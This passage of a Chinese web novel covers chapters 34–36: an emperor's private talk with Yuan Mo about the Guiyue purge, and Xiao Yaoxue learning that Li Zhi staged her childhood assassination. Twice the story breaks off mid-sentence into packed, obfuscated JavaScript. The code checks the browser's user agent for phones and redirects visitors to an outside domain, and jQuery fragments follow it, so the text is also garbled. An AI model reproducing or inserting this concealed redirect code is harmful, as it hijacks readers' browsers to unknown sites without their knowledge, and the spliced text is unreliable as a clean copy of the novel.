袁清从亭子顶上翻身下来的时候，已经被淋得如同一只落汤鸡一样，但是还是摆出一副雨中惆怅的模样。不解得看着呆在原地的徐战道：“走呀，殿下都走了。” “……殿下不愧是干大事的人，真帅！”可惜这段赞美被雨声掩埋，周钦德和袁清都没听到。 34. 鬼月旧人 袁墨跟着那位公公走进御花园，这一路都是用青石板铺的，雪泥被扫到路的两侧，但是沾了水的石板，那是光滑异常，袁墨这一路走得非常小心，明明不到一炷香的路程，他感觉走了几个时辰。就在袁墨后背已经出了一层细细的薄汗之时，终于见到有一人身披黄色厚袄，立于江心亭之中，身旁放了一个小小的泥炉，上面温着一壶酒，酒香飘散到了湖边， 袁墨轻嗅了一下，酒香醇厚绵长，应当是南方今年新进贡的琼玉酒。这酒的口感就像把玩玉石般入口微凉，但是只要稍稍含那么一会就会又变得温热，下咽非常丝滑，入胃则化作一股暖流，冬日饮此酒最合适不过。琼玉酒在东梁众多名酒之中不算最上乘，但却深受当今圣人的喜爱，每年都会命人去南方置购一番，后来那边的官员得知了圣人的这个爱好，每每进贡之时，总是会多选几桶上好的琼玉酒。 袁墨来到湖边湖心的人并未回头，只是对着一旁划船的小太监一挥手，那小太监便心领神会，将小船撑到了袁墨身前，刚刚引路的公公对着袁墨做了一个引的动作，示意他上船。 袁墨抬脚蹬船时才发现自己的脚上全是泥泞，而这艘小船却干净异常，袁墨纠结片刻便将鞋靴脱去，赤脚上了船，船上没有暖炉，隔着薄薄的的袜子可以清晰地感受到，湖水中传上来的寒气，但袁墨还是坚持将鞋子提在手中。 到了湖心亭，地面上铺着一层厚厚的兽皮地毯，那位万万人之上的人同样是不着鞋袜赤脚站在上面。 袁墨登上湖心亭，将手中的鞋子放在一旁，上前几步对着那人恭恭敬敬的拜了下去，半天没听到回应。湖心亭安静至极，袁墨只能偶尔听到远处几声鸟的叫声以及自己的呼吸声。 这样沉默的环境中时间总是过得很慢，终于从脑袋前方传来了一声人声“起来吧。” 袁墨这才松了一口气，站起身来之前背对自己那人已经转过身来，缓步走到自己面前，就这么认真的端详着自己的脸。 这是袁墨第一次与这位天子如此近距离的接触，也是第一次被人这么认真的观察，但好在时间并没有持续太久，来自天子的威压就散去，袁墨看着走向藤椅的圣人有些不知所措，或许是察觉出他的局促，那人终于再度开口：“袁卿，不必拘束，过来坐吧。” 袁墨只觉得松了一口气，只是刚刚圣人说话的那语气，让他总有一种错觉，这话似乎不是对自己说的。 但奈何这湖心亭就他们二人，就算圣人心中想的不是他，表面上针对的也只能是他。袁墨便顺着他的意思走到一侧的椅子上坐下。椅子是亭中的石椅，坐下后一股寒意顺着脊椎就爬了上去。 还未等袁墨坐定，就听到身旁之人说道：“袁卿这段时间在京都倒是声名鹊起呀。” 听到这话，袁墨心中不由地紧了一下，但是还是克制住自己想要跪下去的冲动。勉强维持着表面的平静说道：“都是臣应当做的。” 圣人就看了他一眼，道：“你与你父亲很像，但你比他勇敢，但也正常，毕竟你背负的比他少了太多。” 听到这袁墨再也坐不住了，直接跪了下去，却什么都没说。 周钦德看着他也没立刻说什么，二人就这样一跪一坐，保持了很久，终于周钦德开口说道：“袁墨呀，你本也不打算瞒朕，我道出你的身份，你又何必如此惊慌呢？” 袁墨并没有抬头，只是说道：“陛下明察秋毫，什么都逃不过你的眼睛。” 周钦德听到这话也是哈哈一笑，然后伸手将袁墨拉了起来，又对着他打量了一番道：“你呀，还比你父亲会说话。” 说罢周钦德又再度坐回了藤椅上，看着袁墨继续说道：“你不紧张，你坐下我们慢慢说。” 袁墨应了一声，再度坐上那冰冷的石椅，似乎刚刚的温度丝毫都没有留下，还是一样的刺骨。 周钦德并没有继续说什么，拿起旁边温着的琼玉酒，倒了两杯，递了一杯给袁墨，示意他不必拘束。然后他自己喝了一口，眼神中有些沉醉，又或是有些回忆。品味一番道：“袁墨，其实我知道鬼月当年有冤，但是自从鬼月被拉到了众目睽睽之下后，你父亲他就没有退路了。” 袁墨也同样饮下了杯中酒，体内的寒意被略微的驱散了不少，听到这话，袁墨也是一惊，都说皇帝的心思最难猜，袁墨一时之间不知道周钦德这话到底是正话还是断头的反话，但是他听得出来，对面旁边这位希望他按着正话去听。 袁墨压了压上涌的酒气开口道：“陛下英明。” 在周钦德看来这句话是最无用的，当年他就是在这一句句英明中迷失了一小会，鬼月就被这样清除了。 周钦德突然话头一转问道：“袁卿，这段时间你也是破获了这么多旧案，想要什么赏赐呀？” 袁墨没想到话题转得如此匆忙，之前本打算借这次功绩，重查鬼月旧案，但是此时真的适合说出来吗？ 就在袁墨陷入沉思时，周钦德再度发话：“真金白银的赏赐，朕自然不会少你，除此以外，不如朕再赏一条消息吧。” 袁墨此时的脑袋已经乱了，只得起身谢恩，但是还未跪下就被周钦德拦住了：“不必再跪了，你是李治的门生，我与他认识这么多年了，都没见他跪过我几次，你这门生今天是要全补上吗。我接下来说的话你且听好，你要如何处理，我不会干涉，但是我希望你可干的漂亮一些。” 袁墨再度坐好后，拱手对周钦德说道：“谨听陛下教诲。” 周钦德满意的点了点头，说道：“京都有一个守城副将军名叫崔伦，当年就是他带队去捉拿的鬼月。” 说到这袁墨好似突然想什么似的，问道：“陛下，臣有一事不明，敢问当时陛下真的下令诛杀鬼月家眷吗？” 听到这话周钦德一挑眉，问道：“这话你是听谁说的？” 袁墨这次恭敬的起身，来到了周钦德正面，又再一次拜了下去，用出了所有的信心说道：“陛下，当年捉拿鬼月成员之时，凡见家眷格杀勿论，就在鬼月成员被斩首之后，他们还在四处以搜寻鬼月余党的名义，诛杀不少鬼月成员的家眷。” 听到这周钦德的眉头再度皱了起来，当年他下的圣旨就是捉拿鬼月成员，对于株连九族是根本没提，也不可能提，这崔伦的命令又是从何而来。当时鬼月案之后京都并没有掀起什么反对的声音，周钦德还觉得有些奇怪，可没想到他们竟然是用这样的方式解决的。 但是身为帝王他有太多身不由己了，所以这件事他只能交给袁墨去办，他欠鬼月的只能通过袁墨来还，作为一个帝王他能做的就是让这小子在国法之下完成他的复仇。 看着跪在地上的袁墨，他不由的想到当年袁清也是这样跪在这里，也是用这样语气说出他会承担这一切。周钦德一时之间有些恍惚，但是很快又被这湖心亭寒气拉了回来，当年那正是一年之中的最热的时候，外面可没现在这么安静，蝉鸣不止，裹挟着热浪让人心烦不已。可是现在不一样，这天寒地冻，仿佛声音都被都被冻结了，周钦德觉得自己还真是冷静，但是为什么自己这么冷静还是会有让袁墨去放手一试的想法。鬼月案重提真的对东梁好吗？但似乎再见到袁墨的第一眼，他就知道他迟早会做这个决定。 袁墨觉得今日的时间总是过了好久，这次似乎也过了好久，终于听到周钦德说：“我从未觉得鬼月有罪，但是我的想法我的行为代表的是东梁。所以袁墨，若你可以破此局，我愿意相信你，法度之内，按着你的想法去做吧。但千万别落了把柄，不然这件事就永远解释不清了。一切结束后，我会给鬼月一个合理的说法。” 袁墨重重的磕下去道：“臣谢主隆恩。”在抬起头来时眼睛里含着薄薄的一层泪水，不知道是因为刚刚磕重了，还是太过激动。 周钦德看着眼前的袁墨，眼神中有那么一丝不舍道：“朕当年和你父亲是很好很好的朋友，我们很小就认识了，他很厉害，是个奇人，可惜了，玉珠蒙尘。你先回去吧，朕再待一会。” 说罢便不再理会袁墨，这次袁墨也是真真切切听出了圣人话中之意，便起身退出了湖心亭，搭乘小船去到了岸边。 这个过程中周钦德也再没看他一眼，而是痴痴的盯着湖面。这湖心亭是当年他与袁清、萧云雁一同设计的，几人游历时就曾幻想可以一同在湖心亭饮酒高歌，可是偏偏这湖心亭建好之后，他们谁也没来过。 就在湖心亭即建好的时候，鬼月案爆发，袁清过上了东躲西藏的日子，当时潇湘阁也帮着打掩护，但是最终还是没能拦住，他们最终还是被推上了断头台。萧云雁自那件事出现在宫里的时间就更少了，听说是收了个徒弟，整天都忙着回谷里去教徒弟，这湖心亭就只剩下周钦德一人，孤孤单单的。 今日袁墨来时，周钦德唤他袁卿，确实不是袁墨的错觉，袁卿即袁清，是在叫他也是在叫故人。 时近正午，天上的乌云并没有散开，反而寒气更盛，有片片雪花落下，小火炉上的琼玉酒已经见底，候在一旁的公公上前添酒，周钦德却突然起身道：“不用添了，又要下雪了，酒煮久了就不好喝，回吧。”说罢就向着一旁的小船走去。 萧妖雪自从看了萧云雁带给自己的信后，便开始琢磨离京之事，但是这段时间出门在外，总觉得有一些若有若无的视线盯着自己。 但是这京都自然是要出的，而且离京之前还需要去趟京都潇湘阁一趟，上次沈轻离传信来说之前萧妖雪让他们查的东西初见眉目了，希望她能得空来一趟。 萧妖雪再三思索，选择了夜晚前去赴约，当整个京都都陷入美梦之后，她从房梁上掠过，出李府之时发现在不远处树梢上还是有人在盯梢，不过那两人的武功应当在她之下，萧妖雪凭借对李府的熟悉，很容易的避开那两人的视线。 京都虽有宵禁但是像潇湘阁这样的地方，自然只有禁没有宵，萧妖雪是从之前沈轻离给她留好的客房的窗户进入的，所以并未留意楼下的灯红酒绿情况。 房间中，沈轻离已经早早的等在此处了，见到萧妖雪她也并没有惊讶，只是起身施了一礼。 二人在桌前坐定后，萧妖雪率先开口道：“说说吧，都查到点什么。” 沈轻离的表情看起来有些纠结，但是既然是萧妖雪之前安排查，还是得如实相告，便开口说道：“您让我们去查的当年李家千金遇刺的事情，我们从刺客身上下手了，发现那些刺客，恐怕是军中之人。” “又是军中。”听到这萧妖雪不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临走时，萧妖雪在桌子按规矩留下了一些银两，作为消息的报酬。虽然自己在沈轻离眼中是高她一等的令史，但是潇湘阁也有潇湘阁的规矩，消息的买卖不论身份，只论价钱，所以沈轻离对于她留下的银子倒是没有推脱。 萧妖雪已经翻上窗沿时，她好似又暮地想起了什么转头对沈轻离道，这段时间若是有老二或者老五的人来楼里交易，你留意下，等我下次来我会出一个合适的价格。 沈轻离这次却并没有应下来，而是说道：“这事恐怕不行，阁内的规矩，不许买卖他人的交易信息，这点若是违反了，我沈轻离可是担当不起。” 听了这话萧妖雪终于是露出今晚进入这房间后第一个笑脸，开口说道：“没事，你就留意下，我下次会以一个合适的身份来找你拿的。”说罢就潇洒的翻窗离去了。 袁清小记： 那日雨中一叙之后，周钦德就带着徐战去了武清藏身之所，至于为什么没有袁清，正是因为那日他一直坚持在亭子顶上淋雨，刚刚回到客栈就一病不起，周钦德也没办法，只好为他付了医药费，让他留在原地休息同时也收集着京都的消息。 可是袁清哪是闲得住的主，想到很久没有同京都中鬼月成员联系，便趁此机会将几个之前与他交好的兄弟给约了出来。可没想到就是这无心一面，竟然还真的揭开了蒙着将军阁的神秘面纱。 苏沐风和卢化收到了袁清的消息别提心中多高兴了，他们三人几乎是同时加入鬼月的，只是二人都是京都中人，所以最后也自然而然的留在了京都办事，但是袁清是小地方来的，京都无亲无故，这些年又跟着周钦德，当周钦德去了封地，自然而然也把他带走了。 所以这样一算他们几兄弟已经有一年多未见了，这第一面当然是要把酒言欢的。可是没想到这酒还没下肚几杯，苦水倒是逼出来了不少，苏沐风和卢化一个劲的说着现在京都中鬼月有多不容易，不知不觉间，这话题就说到了京都的新贵将军阁。 “袁清我说你小子是有福，早早的就不在京都了，你是不知道现在京都冒出来个将军阁，这简直是要了鬼月的命。”卢化在他们三人中酒量最差，但是话却最多。 袁清听到这话刚刚的几杯酒早就醒了，苏沐风本来还想拦着点卢化，但是又看着似乎袁清对这事非常上心，再看看这荒郊野岭的酒肆，也无所谓了，反正现在整个京都骂将军阁的也不会只有他们几个。 终于袁清在卢化的大量浑话之中挑出了少量有用的信息，鬼月之中有明确证据证明，将军阁就是单骁手下的产物，并且这一切都是为单骁和太子所用。 他们对于接触过将军阁并且拒绝将军阁的人都是采取了类似对于武清家灭门那样的举措，所以江湖上对于将军阁的恶评很难传播。 朝廷中以江冬藏为首的一群官员已经对于将军阁有所怀疑，本意是凭借这次南方赈灾之事抓住这边的把柄，没想到被将军阁堵得死死，一时间也是毫无办法。 听着卢化啰啰嗦嗦说了这么多，袁清和苏沐风也醉得差不多了，这些烦心事终于是彻底融化在酒中，几人就这样摇摇晃晃回到客房一觉到了天明。 35. 再回潇湘 这几日萧妖雪在李府中，总是有些坐立不安，不少的事情压在心头。眼见差不多该启程去凉山，萧妖雪也并未再与李治提起当年之事，毕竟是自己的父亲，萧妖雪不希望事情真的如自己猜测那般，如果这次见到师傅，或许可以从她那知道点什么。 这日京都遇上了一个好天气不少憋坏了的京都人都纷纷出城游玩，萧妖雪也是选定次日，前往凉山。之前良田村一事后，不少势力对她展开了盯梢，但是发现盯了这小一个月，并没有什么收获，其中不少逐渐也放松了警惕。 时至今日萧妖雪可以确定，盯着自己只有一股势力，只是那盯梢之人行动也颇为隐秘，萧妖雪并没有深究到底是谁的手下，只是隐隐觉得这个人不是徐战。 出了京都后，那人还远远的跟在萧妖雪身后，到了开阔之地，便就剩他们两人，萧妖雪转头对着跟来之人说道：“不想丢了命，你就回去告诉你家主人，他猜的没错，我要去潇湘阁。跟着我没用，我若想瞒他，就算我天天背着他，他也不知道我做了什么。有这闲心不如多去和龙椅上那位谈谈心，说不好他心情好了，你们家主人还能尝点甜头。”说罢便头也不回的策马前去。 或许是这番话真的有作用，后面那一人并没有跟上来。一路疾驰仅用了一天一夜便赶到了凉山，入得谷内已经是傍晚。萧妖雪这次回来并没有提前书信，所以谷内也并没提前给她安排，不少谷内学徒，乍一见到她有不小的惊喜，急急忙忙去通报后院喝茶那两位。 不错萧云雁几天前也同样回到了谷内，他让周钦德转交信件后，就知道萧妖雪收到信件后必然会成为京都暗流的中心，不少人都会盯着她，想要她在那时书信回来，那是不可能的，所以便早早动身回到谷内，就希望她会让京都潇湘阁给个消息。 只是没想到过了好些天都没收到京都潇湘阁消息，却突然收到门前学子来报，说萧妖雪回来了。萧云雁和文妆同时听到这个消息也是又惊又喜。二人也急忙忙来到前院，就看到萧妖雪已经被不少人围住了，叽叽喳喳的问这问那。在他们眼中萧妖雪短短用了十年时间就学成离谷，本以为出去的人都不会常回来，没想到这刚过半年不到她又会来了。 众人似乎都没注意到这两位大人的到来，只有萧妖雪正对二人来的方向，看清了来人，萧妖雪后退一步恭敬的拜了一拜，众人这才注意到萧云雁和文妆已经在他们身后站定。谷内的人与文妆接触比较多，但因为文妆脾气极好，大家也乐意和她说说闹闹。萧云雁其他学子只当她是武堂的重要武器，与文妆交好有事无事无事回谷内看看，与谷内的大部分人也不算熟。 只是这二位无论是什么性格，面生还是面熟，在谷内的地位都是不容置疑，所以众人见到身后是她们二人，也急忙忙止住了声，恭敬地行了一礼后便各自散去。 此时萧妖雪才得以走近二人，缓缓开口道：“妖雪见过师傅，文先生。” 文妆先行走上前去，对着萧妖雪一顿仔细观察，然后对着萧云雁说道：“我看这宰相府的伙食也就这样吧，这孩子都瘦了。” 萧云雁却是淡淡一笑道：“那是你之前在谷里把她喂得太好了。” 文妆知道这次萧云雁回谷就是为了见萧妖雪，现在二人见上，恐怕也是有重要的事情要谈，便说道：“我看这天色不早，我得赶快通知后厨准备吃食了，不然总不能让妖雪赶了两天路还跟着我们啃馒头是吧。” 说罢，便转身向着后厨走去，边走还不忘提醒道：“你俩记得可别唠太晚了，不然菜凉了可就不好吃了。” 萧妖雪向着文妆的背影喊道：“知道了文先生，我刚刚看到池塘里的鱼不错，不如红烧了吧。” 文妆的声音越来越远但是众人倒是听得清楚，她那略带生气的语气道：“那鱼那你师傅宝贵着呢，我可不敢吃。” 萧妖雪略带疑惑的看向萧云雁，萧云雁也不掩饰，直言道：“我就回来那天随手喂了一把食，没想到文妆他们又喂了一次，这不就撑死了几条。文妆说晚上让厨子烧了，我不喜欢吃死鱼，就说让她埋了，文妆怎么就理解成自己喜欢那鱼了呢。” 萧妖雪听后也是忍不住展颜一笑，萧云雁和文妆二人倒是认识年份不少了，不过二人好像总不喜欢猜测对方的心思，似乎这样的小矛盾才是她们关系能够长长久久，不至于每天除了公务就再也无话可说。 小小的插曲过后，萧云雁也是带着萧妖雪来到后院，直接进入了正题。 二人坐定后，萧云雁的脸色逐渐沉了下来，开口对萧妖雪说：“妖雪，你这段时间在京都所做，我都看到了，我只能说，当年我是你这年纪的时候还没这般心性。胡笳城和良田村的事情解决得都很漂亮。” 萧妖雪突然被萧云雁这般严肃的一说反倒有些不好意思了，一时之间不知道该如何接话。 还好萧云雁没有让这尴尬的局面持续太久，便继续开口道：“但是接下来李家恐怕会成为众矢之的，你可有想过，若真有一天李家迎来灭顶之灾你该如何应对？” 萧妖雪听到这也是陷入沉默，李家掌握的财权太大，就算老皇帝念及旧情，但是若以后新皇登基，必然是会要被连根拔除，这个问题萧妖雪想过，但是现在李家已在局中，要想离席恐怕也是天方夜谭，辞去官爵？归还财权？可是到了那时候那些对家又怎会放任退去一身铠甲的李家全身而退呢。 所以此局难破，若想保全，只有在达成目的前，不断进攻，但是总归有一天累积足够的仇怨，李家的末日也就会到来了，只是希望那个时候已经万事齐全，没有后顾之忧了。 萧妖雪看着萧云雁等待答案的眼睛，开口说道：“师傅，李家若在我成事之前出事，我有信心把自己摘干净，但是我希望师傅不要逼李家，他们不会是我的累赘。” 萧云雁似乎对这个答案很满意，点了点头道：“如此甚好，京都太过冰冷，我也不希望你会无处取暖，只是要记住莫要因小失大。” 萧妖雪垂目，脸上表情似乎有那么一些模糊，看不太清，但声音听起来倒是挺平淡的说道：“好的师傅，妖雪谨记。” 萧云雁其实也知道，萧妖雪是不愿意太早看到李家落败，但是此时她应当已经知道一些当年遇袭的真相，不知道此事会不会让她对李家的态度有所转变。 萧云雁还是记着文妆的警告，眼见太阳的光辉越来越弱，仅剩天边的一抹微光，室外的温度也一降再降，这次找萧妖雪回来的目的可不止是要给她心里插刺，萧云雁也将话题转向了当今朝堂。 却还未等她开口，萧妖雪就抢先说道：“师傅这次找我回来应当是为了圣人立太子之事吧。” 萧云雁要说的话被抢了之后倒是也不尴尬，只见她抬头看了看天，对萧妖雪说道：“我曾经也不信气运之说，直到后面我在江湖上闯荡了几年，遇到了不少人的人和事，似乎从那之后我也开始相信命中注定的事还真是难说。周钦德对他几个儿子都甚是喜爱，他不愿意伤任何一个，这也是为何他迟迟不肯立太子。可是最近他也感到有些力不从心，逐渐动了这个念头。给你赐婚其实就是他的一个试探。” 萧妖雪本以为圣人纠结这桩婚事怎么赐，是圣人在纠结李家的立场应当如何，可没想到，这久久没有定下的圣旨竟然是在试探各位皇子，那恐怕赐婚之后他们的行为恐怕也全都入了他的眼。 “那结果如何？” “赐婚的结果流了出来，老二并没有什么动静，老五却三番五次的去了徐战家中，老三远在胡笳城，但是那边盯梢的人传回消息说，老三似乎还挺想要这桩婚事的。” “想要婚事？那他还拒绝立刻成婚。”萧妖雪听到周明理的反应也是非常惊讶。 以萧妖雪在胡笳城同周明理的接触来，她自认为这位胡笳郡王与自己应当只是合作伙伴的关系。他作为一个郡王，和一个随时都有可能被墙倒众人推的宰相家千金挂上关系，从利益的角度来可不是什么好想法。 萧云雁倒是一副大有玩味的表情，“那可能是某人去胡笳城的时候刚好撩动他的心呢？”说完还不顾萧妖雪已经开始有些发红脸颊，对着她一挑眉。 “定然是他们看错了。”说出这句话的时候萧妖雪的脸已经红透了。 萧云雁突然有些后悔当时只顾着教她些天下大事、绝世武功，这方面没说这丫头怎么是一点都不开窍呢。罢了，以后若是有机会，再和她好好说道说道。 萧妖雪不想继续这个话题，便开口将话题拉回太子之位上：“那圣人可有定论？” 萧云雁也正色起来，喝了一口茶水继续道：“妖雪，圣人其实已有倾向，但是恐怕有人开始着急了，这次是你要做出选择，你手上握着东梁最大的情报系统，这就是我们与帝王家做交易的底气，你的选择会让那位皇子得到很大的帮助，但是并不一定他能成为天子。” 萧妖雪自然是听出其中含义，皇家并非潇湘阁的傀儡，潇湘阁的选择也是有很大风险的，一旦选择错，恐怕就会带着整个潇湘阁万劫不复。所以萧妖雪也问出了心中的疑惑：“那如果我选错了，会怎样？” 萧云雁沉默了一下，道：“新皇登基前阁内会出现另一位阁主与新皇达成合作，至于之前的这位会被潇湘阁彻底抹杀。所以妖雪，你现在想要怎样选择？” 萧妖雪听到这话也是眉头紧皱，果然这就是拿命在赌，赌圣人心。 “我……师傅其实经过这段时间在京都的生活，我想我恐怕会选二殿下。” “哦？为何呢？明明从现在在东梁的势力来看，周明启可是更具优势。你这样选以后路的难度可不小。” “周明启行事太过激进，东梁却已经日益走向稳定，东梁的气运已经逐渐帝王身降到了百姓，这才是国泰民安的根本，周明志或许会更加适合。” “你所说此事自有你看法，但是今日之后你便需要坚定你的本心，潇湘阁自然会同你一心。” “是，师傅妖雪记下了。” 就在二人一度沉默时，院门口来了一小学童，声音还是奶味十足，但是语气却特别正经的喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703574|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“二位姑娘，文姑娘说饭好了，你们再不过去菜可就要凉了。”这小奶音一出来，刚刚院中略带沉重的气氛完全消散一空，萧妖雪也突然就想通了，现在就算饿着肚子愁破脑袋，除了会让自己提前死以外也不会决定什么，但是现在吃饱饭，说不好自己就选对了呢。 所以二人也是快步到小学童跟前，三人一同前往饭堂。果然到时已是一桌丰盛的菜肴摆好。师徒二人落座后，最后一道菜也上了桌，是一条红烧的大鲤鱼。刚端了上来文妆就先行下筷将鱼眼睛挑出来放到了萧云雁的碗里，说道：“您尝尝吧，这是不是你鱼塘里的鱼。” 萧妖雪也看出来，文妆怎么会不知道萧云雁不愿吃鱼是因为那是死鱼而不是对那塘鱼情有独钟。这鱼眼一吃就知道鱼的死活，文妆的意思也是再明显不过。 果然有了一好的开头，这顿饭就在愉悦的气氛中结束。收拾之后萧云雁带着萧妖雪又去了书阁，文妆已经在里面坐定，看到二人进来，便起身招呼她们在一旁坐下。萧云雁突然对着萧妖雪问道：“李府中可有一个姓丁的少年？” 萧妖雪这几日与丁游交际不少，所以一下就想到了他，便开口回道：“丁游？” 这次并没有听到萧云雁的回答，而是文妆接着问道：“不错，丁游。他过得……还好吗？” 萧妖雪听出了她语气中有些迟疑和浓重的担忧，二人的关系也很快猜了出来，但是文妆不喜欢别人点破自己的过去，所以萧妖雪也只是回答了她的问题其他的并没有多问：“他很好，现在阵法之术也熟悉了很多，前段时间和我去了趟公主坟，胆量确实不错。” 听到这文妆的眼眶就红了，自己已经是个死人了，这辈子不可能再和他相认，但是只要听到说他过得，心里也会好过不少。 萧云雁也开口安慰道：“文妆这事也过去这么过年了，以现在潇湘阁的能力你去见他一面也未尝不可。” 文妆却在听到这话时冷静了下来道：“不必了，我见了他只是给他徒增压力了，这世上最误人的便是复仇了。” 听到这屋内的三人都沉默了，是呀，最误人的就是复仇，但是现在京都中复仇的火焰已经点燃，结局如何，还要看袁家两后辈如何抉择。想到这萧妖雪不由的想到之前说的鬼月案最后的疑点，既然今天师傅就在面前不如就问问：“师傅，所以当年鬼月案最后李家为何会收留鬼月成员，最后又把他们都供出来呢？” 萧云雁略带疑惑的问道：“李治未同你说过？” “并未。” “唉。” “……” 萧云雁仿佛是在回忆一段很不愿意想起的过往，呆呆的看着桌上的烛火半晌没有说话。 文妆对此事所知道也不过停留在卷宗之上，在场的只有萧云雁是亲历者。萧妖雪也不催促，就坐在一旁等待着她想好了开口。 文妆小记： 女子二八年华恰似花，更别说文妆这样在京都朱门大院长大的花，往往一经开放便受到各方欣赏，只待有心人摘取。 文妆本姓王，是京都的贵族，家中有做官的有从商，基本将京都的所有行业都囊括了。王氏家族家大业大，家中子女众多，王文妆也不过是旁系中的一个，但是面容姣好，又读书识字的女子，刚刚到了出嫁的年纪上门说亲的媒人就没断过。 只是作为这贵族女子，这一生对于家族最有用的一事便是婚嫁，所以王文妆和母亲也是在这众多男子千挑万选终于找到一个既符合眼缘又对于家族有利的夫婿，那便是刑案司副职江冬藏。 此番美事一经敲定，便风风火火传遍了京都。王文妆和江冬藏也在双方的安排下见了一面，但也是这一面让他们也对彼此坚定的选择。 王文妆第一次跟着父母进到江家的时候正值将军阁支持以江东为首的政党去调查南方天灾贪污一事。所以此时江府上不少访客正在同江家父子讨论此事。 在王文妆看来他们今日要与江家谈的事简直是不值一提，但是令他们没想到的是，江冬藏在听说了他们来之后，丝毫没有懈怠之意，竟然推掉了所有今天来访客，这足以展示对他们的重视。 见面后王文妆不知道是不是因为刚刚江冬藏这一举动，她竟然觉得这人简直比画卷上好看十倍。 硬朗的面容，但是看她的眼神却温柔。此人听说也是现在朝堂之上的高官，但是在他们面前却没有一丝盛气凌人。言语谈吐恰当得体，但是又不失风趣幽默。 王文妆就这样盯着他看了好久，以至于父母已经谈完婚礼所需，都准备起身离开，她却毫无反应。直到母亲轻轻推了她一把，她才回过神，急急忙忙跟了出去。 江冬藏将他们送到马车前，这一路上王文妆都只敢盯着自己的脚尖，就怕这一抬头，又闹笑话。 马车缓行，父母再次掀起车帘道别之时，王文妆又从那缝隙之中与江冬藏再对视了一眼，这次却没有初见那般失态，只是红晕飞速爬上了脸颊，不过却在江冬藏消失在车窗中最后一刻，她也看见了他红透了的耳根。 36. 再回潇湘2 屋内很安静，只剩下油灯燃烧时不时发出的噼啪声，半晌过后，终于听到萧云雁开口说道：“当年那场对你的刺杀是李治安排的。” 这话一出别说萧妖雪惊了，就连文妆也震惊。屋内再次陷入了沉默，这次的沉默更加令人焦躁，萧妖雪甚至能听到自己的心跳在不断加快，但是又在几个呼吸间慢慢减缓后，她才开口说道：“为何如此？” 萧云雁不紧不慢的说道：“因为当时李治收留了鬼月。但是外人都还不知道，朝内不少人都被怀疑过，李治因为之前与袁清有过矛盾，所以是半刻没有被怀疑。可是这朝中的人该查的都查了个遍，便开始有人猜测是他这样做的，有了想法自然就有人动了歪心思，想要暗中除掉李家，或者让李家窝藏嫌犯的消息坐实，来个满门抄斩。“ 听到这萧妖雪心里冒出了一个极其荒谬的想法，但没想到萧云雁接下来的话就应证了这个想法。 “李治为了避免怀疑，就联合鬼月做了一桩暗杀，李治决定牺牲你，来破当时之局。可没想到最后并没有寻到你的尸体，所以也没有证据说是鬼月所为，便决定以野兽袭击为理由了结此事。” 萧妖雪从小就是听着京都人心复杂长大的，之前她只以为那都是官与官之间的算计，从未想到，竟然连自家人也会这般无情。 但是若真如萧云雁所说这都是李治安排的，为何最后又会有千足王的蛊人混了进去呢？ 心中有了疑惑，萧妖雪也是急忙出声打断还要继续往下说的萧云雁：“若如师傅所说，当时有毒谷的蛊人混了进来，为何李治却迟迟没有发现？” 听到这个问题萧云雁也是略微停顿了一下，眉头微皱微皱，似乎并没有料到会发生这样的事情，关键之后李治还一直将那三人养在府中，难道是一点疑惑都没有吗？一番思索过后萧云雁觉得李治的这心思自己是有些猜不透，虽然有些眉目，但是也不好妄下定论。 就在萧云雁一时之间不知道如何开口的时候，萧妖雪突然自问自答了起来：“若是李治将计就计，想要利用跟回来的这几个蛊人看到李家现状，从而打消那些人对于李家与鬼月勾结的怀疑呢？” 萧云雁之前也有过此想法，但是这恐怕都是李治内心的想法，她虽然善权谋之术，但是也不能说百分之百懂人心，这事情只有等李治亲口承认才行。于是她便开言道：“妖雪我知道你才知道这个事情，或许有些不能接受，但是你的这些问题恐怕只有亲口问问你父亲，才能得到最合理的答案。” 萧妖雪心中自然也明白，谁人的心事只有他自己最清楚，这些问题强迫不得。不知怎的，她忽然想起那夜在鹿坪丘，窦毒说的一句话，不要相信京都任何一个人。刚到京都时她以为与李家只是合作，一切都只取决于利益，中间不会再产生任何情感纠结。 只是没想到李治对她的坦诚、李安国对她的保护、李无忧对她的信任，甚至王氏对她也颇为照顾。整个李府上下都给她一种家的感觉，让她渐渐的放下了防备，虽然这次突然收到了当年的真相，她第一时间也并不想着去怀疑和质问李治，毕竟十年很长，对于一个成长中的孩子足以冲淡很多事情，就算她这次回到京都是为了探寻当年她遇刺的真相，但是好似真正接触到真相的时候，也并没有那般纠结，反而是一种释然。 萧云雁和文妆此时都不再多言，她们知道有些事情只能靠她自己想通，现在多说无益。便看着萧妖雪脸上的表情由纠结逐渐变得明朗，她们的心也稍微放宽了一些。二人时看着萧妖雪这十年是怎么过来的，谷内的生活、她所学的东西，让她过的太理智，京都的情感对于她来说太充沛，萧云雁也时常担心她在京都适应不过来，不过好在李家于她目前看来还不错的，倒是也让萧云雁略微安心了一些。 内心的波浪翻腾很久才得以平静，其实时间也并未过去多之久，只有处于波涛中的人才会觉得漫长。当萧妖雪再次开口，语气中的纠结与低落已经不见踪影，不知是消散了还是隐藏了，萧妖雪说道：“多谢师傅告诉妖雪这些。不过当年的事情在外界看来已有定论，我也并未因此丧命，此事便不必再重提旧账，就让它过去了吧。” 萧云雁看着萧妖雪苦笑了一下，果然这孩子这十年还是活得太过理智，不过现在看来倒是也不是无可救药，圣人那桩婚事自然有她这方面考虑在内，现在只希望这姑娘能得一份良缘，多几分人情味。 